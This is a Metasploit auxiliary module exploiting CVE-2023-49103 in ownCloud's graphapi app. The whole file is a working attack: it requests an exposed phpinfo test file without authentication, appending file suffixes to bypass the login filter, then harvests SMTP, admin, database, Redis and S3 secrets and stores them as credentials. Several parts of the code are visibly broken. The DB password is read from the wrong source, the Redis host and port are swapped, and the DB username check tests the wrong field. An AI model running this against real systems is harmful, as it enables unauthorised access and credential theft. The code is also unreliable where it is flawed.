## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'ownCloud Phpinfo Reader', 'Description' => %q{ Docker containers of ownCloud compiled after February 2023, which have version 0.2.0 before 0.2.1 or 0.3.0 before 0.3.1 of the app `graph` installed contain a test file which prints `phpinfo()` to an unauthenticated user. A post file name must be appended to the URL to bypass the login filter. Docker may export sensitive environment variables including ownCloud, DB, redis, SMTP, and S3 credentials, as well as other host information. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'creacitysec', # original PoC 'Ron Bowes', # research 'random-robbie', # additional PoC work and research 'Christian Fischer' # additional PoC work and research ], 'References' => [ [ 'URL', 'https://owncloud.com/security-advisories/disclosure-of-sensitive-credentials-and-configuration-in-containerized-deployments/'], [ 'URL', 'https://github.com/creacitysec/CVE-2023-49103'], [ 'URL', 'https://www.labs.greynoise.io//grimoire/2023-11-29-owncloud-redux/'], [ 'URL', 'https://www.rapid7.com/blog/post/2023/12/01/etr-cve-2023-49103-critical-information-disclosure-in-owncloud-graph-api/'], [ 'CVE', '2023-49103'] ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2023-11-21', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The URI of ownCloud', '/']), OptEnum.new('ROOT', [true, 'Root path to start with', 'all', ['all', '', 'owncloud'] ]), OptEnum.new('ENDFILE', [ true, 'End path to append', 'all', [ 'all', 'css', 'js', 'svg', 'gif', 'png', 'html', 'ttf', 'woff', 'ico', 'jpg', 'jpeg', 'json', 'properties', 'min.map', 'js.map', 'auto.map' ] ]), ] ) end def roots if datastore['ROOT'] == 'all' return ['', 'owncloud'] end datastore['ROOT'] end def endfiles if datastore['ENDFILE'] == 'all' return [ '.css', '.js', '.svg', '.gif', '.png', '.html', '.ttf', '.woff', '.ico', '.jpg', '.jpeg', '.json', '.properties', '.min.map', '.js.map', '.auto.map' ] end ".#{datastore['ENDFILE']}" end def field_regex(field) "#{field} <\/td>([^ ]+) <\/td><\/tr>" end def get_mappings { 'License Key' => 'OWNCLOUD_LICENSE_KEY', 'Hostname' => 'HOSTNAME', 'Home' => 'HOME', 'Server Root' => 'APACHE_DOCUMENT_ROOT', 'PWD' => 'PWD', 'SMTP Host' => 'OWNCLOUD_MAIL_SMTP_HOST', 'SMTP Port' => 'OWNCLOUD_MAIL_SMTP_PORT', 'SMTP Username' => 'OWNCLOUD_MAIL_SMTP_NAME', 'SMTP Password' => 'OWNCLOUD_MAIL_SMTP_PASSWORD', 'ownCloud Username' => 'OWNCLOUD_ADMIN_USERNAME', 'ownCloud Password' => 'OWNCLOUD_ADMIN_PASSWORD', 'ownCloud Server Port' => 'SERVER_PORT', 'DB Host' => 'OWNCLOUD_DB_HOST', 'DB Username' => 'OWNCLOUD_DB_USERNAME', 'DB Password' => 'OWNCLOUD_DB_PASSWORD', 'DB Name' => 'OWNCLOUD_DB_NAME', 'DB Type' => 'OWNCLOUD_DB_TYPE', 'Redis Host' => 'OWNCLOUD_REDIS_HOST', 'Redis Port' => 'OWNCLOUD_REDIS_PORT', 'Redis DB' => 'OWNCLOUD_REDIS_DB', 'Redis Password' => 'OWNCLOUD_REDIS_PASSWORD', 'ObjectStore Endpoint' => 'OWNCLOUD_OBJECTSTORE_ENDPOINT', 'ObjectStore Region' => 'OWNCLOUD_OBJECTSTORE_REGION', 'ObjectStore Secret' => 'OWNCLOUD_OBJECTSTORE_SECRET', 'ObjectStore Key' => 'OWNCLOUD_OBJECTSTORE_KEY', 'ObjectStore Bucket' => 'OWNCLOUD_OBJECTSTORE_BUCKET' } end def run found = false roots.each do |root| break if found endfiles.each do |endfile| url = normalize_uri(target_uri.path, root, 'apps', 'graphapi', 'vendor', 'microsoft', 'microsoft-graph', 'tests', 'GetPhpInfo.php', endfile) vprint_status("Checking: #{url}") res = send_request_cgi( 'uri' => url ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? unless res.code == 200 && res.body.include?('phpinfo()') print_bad("Not Exploited - HTTP Status Code: #{res.code}") next end print_good("Found phpinfo page at: #{url}") # store page l = store_loot( 'owncloud.phpinfo', 'text/html', rhost, res.body, 'phpinfo.html' ) print_good("Loot stored to: #{l}") # process the page mappings = get_mappings extracted_values = {} mappings.each do |field_name, field| if res.body =~ /#{field_regex(field)}/ extracted_values[field_name] = ::Regexp.last_match(1) print_good("#{field_name}: #{extracted_values[field_name]}") end end table = Rex::Text::Table.new( 'Header' => 'Credentials', 'Indent' => 2, 'SortIndex' => 0, 'Columns' => [ 'Type', 'Host', 'Username', 'Password', 'Notes'] ) if extracted_values['SMTP Password'] credential_data = { protocol: 'tcp', workspace_id: myworkspace_id, service_name: 'SMTP', origin_type: :service, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED, private_data: extracted_values['SMTP Password'], private_type: :password } credential_data[:username] = extracted_values['SMTP Username'] if extracted_values['SMTP Username'] credential_data[:address] = extracted_values['SMTP Host'].nil? ? '127.0.0.1' : extracted_values['SMTP Host'] credential_data[:port] = extracted_values['SMTP Port'].nil? ? 25 : extracted_values['SMTP Port'] create_credential(credential_data) table << ['SMTP', "#{credential_data[:address]}:#{credential_data[:port]}", credential_data[:username], extracted_values['SMTP Password'], ''] end if extracted_values['ownCloud Password'] credential_data = { protocol: 'tcp', port: rport, address: rhost, workspace_id: myworkspace_id, service_name: 'ownCloud', origin_type: :service, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED, private_data: extracted_values['ownCloud Password'], private_type: :password } credential_data[:username] = extracted_values['ownCloud Username'].nil? ? '' : extracted_values['ownCloud Username'] create_credential(credential_data) table << ['ownCloud', "#{rhost}:#{rport}", credential_data[:username], extracted_values['ownCloud Password'], ''] end ## DB if extracted_values['DB Password'] credential_data = { protocol: 'tcp', port: extracted_values['DB Host'].split(':')[1], address: extracted_values['DB Host'].split(':')[0], workspace_id: myworkspace_id, service_name: extracted_values['DB Type'], origin_type: :service, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED, private_data: datastore['DB Password'], private_type: :password } credential_data[:username] = extracted_values['DB Password'].nil? ? '' : extracted_values['DB Username'] create_credential(credential_data) table << [extracted_values['DB Type'], "#{rhost}:#{rport}", credential_data[:username], extracted_values['DB Password'], ''] end ## REDIS if extracted_values['Redis Password'] credential_data = { protocol: 'tcp', port: extracted_values['Redis Host'], address: extracted_values['Redis Port'], workspace_id: myworkspace_id, service_name: 'redis', origin_type: :service, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED, private_data: extracted_values['Redis Password'], private_type: :password } create_credential(credential_data) table << ['redis', "#{extracted_values['Redis Host']}:#{extracted_values['Redis Port']}", '', extracted_values['Redis Password'], ''] end ## OBJECTSTORE if extracted_values['ObjectStore Secret'] && extracted_values['ObjectStore Key'] table << ['S3 Object Store', extracted_values['ObjectStore Region'], "Key: #{extracted_values['ObjectStore Key']}", "Secret: #{extracted_values['ObjectStore Secret']}", "Endpoint: #{extracted_values['ObjectStore Endpoint']}, Bucket: #{extracted_values['ObjectStore Bucket']}"] end print_good(table.to_s) found = true break # no need to keep going, we already got what we wanted end end end end